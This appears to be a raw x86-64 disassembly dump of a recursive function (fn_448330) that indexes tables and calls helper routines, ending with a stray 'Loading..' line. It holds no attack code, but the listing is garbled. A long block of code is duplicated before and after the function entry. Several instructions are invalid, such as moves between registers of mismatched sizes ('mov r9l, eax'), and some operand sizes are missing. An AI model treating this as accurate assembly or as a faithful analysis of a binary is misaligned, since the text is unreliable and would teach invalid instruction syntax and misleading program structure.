00448447loc_448447:
00448447xor eax, eax
00448449mov rcx, [rbp+96]
0044844dtest rcx, rcx
00448450je 0x448458
00448452mov eax, [rcx-4]
00448455shr eax, 1
00448458
00448458loc_448458:
00448458test eax, eax
0044845aje 0x4485c2
00448460xor eax, eax
00448462test rcx, rcx
00448465je 0x44846d
00448467mov eax, [rcx-4]
0044846ashr eax, 1
0044846d
0044846dloc_44846d:
0044846dlea rcx, [rbp+96]
00448471mov rdx, [rbp+96]
00448475mov r8l, 2
0044847bmov r9l, eax
0044847ecall fn_40d650
00448483jmp 0x448510
00448488
00448488loc_448488:
00448488mov rax, [rip+0x282d9]
0044848fmov ecx, [rbp+36]
00448492movsxd rcx, ecx
00448495mov rax, [rax+8*rcx]
00448499mov rcx, rdi
0044849cadd rcx, rcx
0044849fmov rax, [rax+8*rcx+8]
004484a4mov rcx, rax
004484a7mov rdx, [rbp+96]
004484abmov r8l, 1
004484b1call fn_40de90
004484b6cmp eax, 1
004484b9jne 0x4485c2
004484bfmov rax, [rip+0x282a2]
004484c6mov rax, [rax+8*r13]
004484caadd rdi, rdi
004484cdmov rax, [rax+8*rdi+8]
004484d2xor ecx, ecx
004484d4test rax, rax
004484d7je 0x4484df
004484d9mov ecx, [rax-4]
004484dcshr ecx, 1
004484df
004484dfloc_4484df:
004484dfxor eax, eax
004484e1mov rdx, [rbp+96]
004484e5test rdx, rdx
004484e8je 0x4484f0
004484eamov eax, [rdx-4]
004484edshr eax, 1
004484f0
004484f0loc_4484f0:
004484f0lea rdx, [rbp+96]
004484f4mov r8, [rbp+96]
004484f8mov r9l, ecx
004484fbadd r9l, 1
004484ffmov rcx, rdx
00448502mov rdx, r8
00448505mov r8l, r9l
00448508mov r9l, eax
0044850bcall fn_40d650
00448510
00448510loc_448510:
00448510add ebx, 1
00448513sub esi, 1
00448516test esi, esi
00448518jne 0x448388
0044851e
0044851eloc_44851e:
0044851enop
0044851fmov rax, [rip+0x28242]
00448526mov ecx, [rbp+36]
00448529movsxd rcx, ecx
0044852cmov rax, [rax+8*rcx]
00448530test rax, rax
00448533je 0x448539
00448535mov rax, [rax-8]
00448539
00448539loc_448539:
00448539mov rcx, [rip+0x28228]
00448540mov edx, [rbp+36]
00448543movsxd rdx, edx
00448546mov rcx, [rcx+8*rdx]
0044854aadd rax, rax
0044854dmovzx rax, [rcx+8*rax-16]
00448553sub al, 1
00448556test al, al
00448558je 0x448563
0044855asub al, 1
0044855dtest al, al
0044855fjne 0x4485bc
00448561jmp 0x44857b
00448563
00448563loc_448563:
00448563xor eax, eax
00448565mov rcx, [rbp+96]
00448569test rcx, rcx
0044856cje 0x448574
0044856emov eax, [rcx-4]
00448571shr eax, 1
00448574
00448574loc_448574:
00448574cmp eax, 1
00448577jne 0x4485c2
00448579jmp 0x4485bc
0044857b
0044857bloc_44857b:
0044857bmov rax, [rip+0x281e6]
00448582mov ecx, [rbp+36]
00448585movsxd rcx, ecx
00448588mov rax, [rax+8*rcx]
0044858ctest rax, rax
0044858fje 0x448595
00448591mov rax, [rax-8]
00448595
00448595loc_448595:
00448595mov rcx, [rbp+96]
00448599mov rdx, [rip+0x281c8]
004485a0mov r8l, [rbp+36]
004485a4movsxd r8, r8l
004485a7mov rdx, [rdx+8*r8]
004485abadd rax, rax
004485aemov rdx, [rdx+8*rax-8]
004485b3call fn_40d640
004485b8test eax, eax
004485bajne 0x4485c2
004485bc
004485bcloc_4485bc:
004485bcmov al, 1
004485bemov [rbp+47], al
004485c1nop
004485c2
004485c2loc_4485c2:
004485c2lea rcx, [rbp+96]
004485c6call fn_40bd90
004485cbmovzx rax, [rbp+47]
004485d0lea rsp, [rbp+48]
004485d4pop rbx
004485d5pop rsi
004485d6pop rdi
004485d7pop r13
004485d9pop rbp
004485daret
00448330
00448330fn_448330:
00448330push rbp
00448331push r13
00448333push rdi
00448334push rsi
00448335push rbx
00448336sub rsp, 48
0044833amov rbp, rsp
0044833dmov [rbp+36], edx
00448340mov [rbp+40], r8l
00448344mov [rbp+96], rcx
00448348lea rcx, [rbp+96]
0044834ccall fn_40bf00
00448351nop
00448352xor eax, eax
00448354mov [rbp+47], al
00448357mov eax, [rbp+40]
0044835amov rcx, [rip+0x28407]
00448361mov edx, [rbp+36]
00448364movsxd rdx, edx
00448367mov rcx, [rcx+8*rdx]
0044836btest rcx, rcx
0044836eje 0x448374
00448370mov rcx, [rcx-8]
00448374
00448374loc_448374:
00448374mov esi, ecx
00448376sub esi, 2
00448379mov ebx, eax
0044837bcmp ebx, esi
0044837djg 0x44851e
00448383sub esi, eax
00448385add esi, 1
00448388
00448388loc_448388:
00448388mov r13l, [rbp+36]
0044838cmovsxd r13, r13l
0044838fmovsxd rdi, ebx
00448392mov rax, [rip+0x283cf]
00448399mov rax, [rax+8*r13]
0044839dmov rcx, rdi
004483a0add rcx, rcx
004483a3movzx rax, [rax+8*rcx]
004483a8sub al, 1
004483abcmp al, -1
004483aeje 0x4483c8
004483b0test al, al
004483b2je 0x448447
004483b8sub al, 1
004483bbtest al, al
004483bdjne 0x448510
004483c3jmp 0x448488
004483c8
004483c8loc_4483c8:
004483c8mov rcx, [rbp+96]
004483ccmov edx, [rbp+36]
004483cfmov r8l, ebx
004483d2add r8l, 1
004483d6call fn_448330
004483dbtest al, al
004483ddje 0x44842d
004483dfmov al, 1
004483e1mov [rbp+47], al
004483e4jmp 0x4485c2
004483e9
004483e9loc_4483e9:
004483e9xor eax, eax
004483ebtest rcx, rcx
004483eeje 0x4483f6
004483f0mov eax, [rcx-4]
004483f3shr eax, 1
004483f6
004483f6loc_4483f6:
004483f6lea rcx, [rbp+96]
004483famov rdx, [rbp+96]
004483femov r8l, 2
00448404mov r9l, eax
00448407call fn_40d650
0044840cmov rcx, [rbp+96]
00448410mov edx, [rbp+36]
00448413mov r8l, ebx
00448416add r8l, 1
0044841acall fn_448330
0044841ftest al, al
00448421je 0x44842d
00448423mov al, 1
00448425mov [rbp+47], al
00448428jmp 0x4485c2
0044842d
0044842dloc_44842d:
0044842dxor eax, eax
0044842fmov rcx, [rbp+96]
00448433test rcx, rcx
00448436je 0x44843e
00448438mov eax, [rcx-4]
0044843bshr eax, 1
0044843e
0044843eloc_44843e:
0044843etest eax, eax
00448440jne 0x4483e9
00448442jmp 0x4485c2
00448447
00448447loc_448447:
00448447xor eax, eax
00448449mov rcx, [rbp+96]
0044844dtest rcx, rcx
00448450je 0x448458
00448452mov eax, [rcx-4]
00448455shr eax, 1
00448458
00448458loc_448458:
00448458test eax, eax
0044845aje 0x4485c2
00448460xor eax, eax
00448462test rcx, rcx
00448465je 0x44846d
00448467mov eax, [rcx-4]
0044846ashr eax, 1
0044846d
0044846dloc_44846d:
0044846dlea rcx, [rbp+96]
00448471mov rdx, [rbp+96]
00448475mov r8l, 2
0044847bmov r9l, eax
0044847ecall fn_40d650
00448483jmp 0x448510
00448488
00448488loc_448488:
00448488mov rax, [rip+0x282d9]
0044848fmov ecx, [rbp+36]
00448492movsxd rcx, ecx
00448495mov rax, [rax+8*rcx]
00448499mov rcx, rdi
0044849cadd rcx, rcx
0044849fmov rax, [rax+8*rcx+8]
004484a4mov rcx, rax
004484a7mov rdx, [rbp+96]
004484abmov r8l, 1
004484b1call fn_40de90
004484b6cmp eax, 1
004484b9jne 0x4485c2
004484bfmov rax, [rip+0x282a2]
004484c6mov rax, [rax+8*r13]
004484caadd rdi, rdi
004484cdmov rax, [rax+8*rdi+8]
004484d2xor ecx, ecx
004484d4test rax, rax
004484d7je 0x4484df
004484d9mov ecx, [rax-4]
004484dcshr ecx, 1
004484df
004484dfloc_4484df:
004484dfxor eax, eax
004484e1mov rdx, [rbp+96]
004484e5test rdx, rdx
004484e8je 0x4484f0
004484eamov eax, [rdx-4]
004484edshr eax, 1
004484f0
004484f0loc_4484f0:
004484f0lea rdx, [rbp+96]
004484f4mov r8, [rbp+96]
004484f8mov r9l, ecx
004484fbadd r9l, 1
004484ffmov rcx, rdx
00448502mov rdx, r8
00448505mov r8l, r9l
00448508mov r9l, eax
0044850bcall fn_40d650
00448510
00448510loc_448510:
00448510add ebx, 1
00448513sub esi, 1
00448516test esi, esi
00448518jne 0x448388
0044851e
0044851eloc_44851e:
0044851enop
0044851fmov rax, [rip+0x28242]
00448526mov ecx, [rbp+36]
00448529movsxd rcx, ecx
0044852cmov rax, [rax+8*rcx]
00448530test rax, rax
00448533je 0x448539
00448535mov rax, [rax-8]
00448539
00448539loc_448539:
00448539mov rcx, [rip+0x28228]
00448540mov edx, [rbp+36]
00448543movsxd rdx, edx
00448546mov rcx, [rcx+8*rdx]
0044854aadd rax, rax
0044854dmovzx rax, [rcx+8*rax-16]
00448553sub al, 1
00448556test al, al
00448558je 0x448563
0044855asub al, 1
0044855dtest al, al
0044855fjne 0x4485bc
00448561jmp 0x44857b
00448563
00448563loc_448563:
00448563xor eax, eax
00448565mov rcx, [rbp+96]
00448569test rcx, rcx
0044856cje 0x448574
0044856emov eax, [rcx-4]
00448571shr eax, 1
00448574
00448574loc_448574:
00448574cmp eax, 1
00448577jne 0x4485c2
00448579jmp 0x4485bc
0044857b
0044857bloc_44857b:
0044857bmov rax, [rip+0x281e6]
00448582mov ecx, [rbp+36]
00448585movsxd rcx, ecx
00448588mov rax, [rax+8*rcx]
0044858ctest rax, rax
0044858fje 0x448595
00448591mov rax, [rax-8]
00448595
00448595loc_448595:
00448595mov rcx, [rbp+96]
00448599mov rdx, [rip+0x281c8]
004485a0mov r8l, [rbp+36]
004485a4movsxd r8, r8l
004485a7mov rdx, [rdx+8*r8]
004485abadd rax, rax
004485aemov rdx, [rdx+8*rax-8]
004485b3call fn_40d640
004485b8test eax, eax
004485bajne 0x4485c2
004485bc
004485bcloc_4485bc:
004485bcmov al, 1
004485bemov [rbp+47], al
004485c1nop
004485c2
004485c2loc_4485c2:
004485c2lea rcx, [rbp+96]
004485c6call fn_40bd90
004485cbmovzx rax, [rbp+47]
004485d0lea rsp, [rbp+48]
004485d4pop rbx
004485d5pop rsi
004485d6pop rdi
004485d7pop r13
004485d9pop rbp
004485daret
00448330
Loading..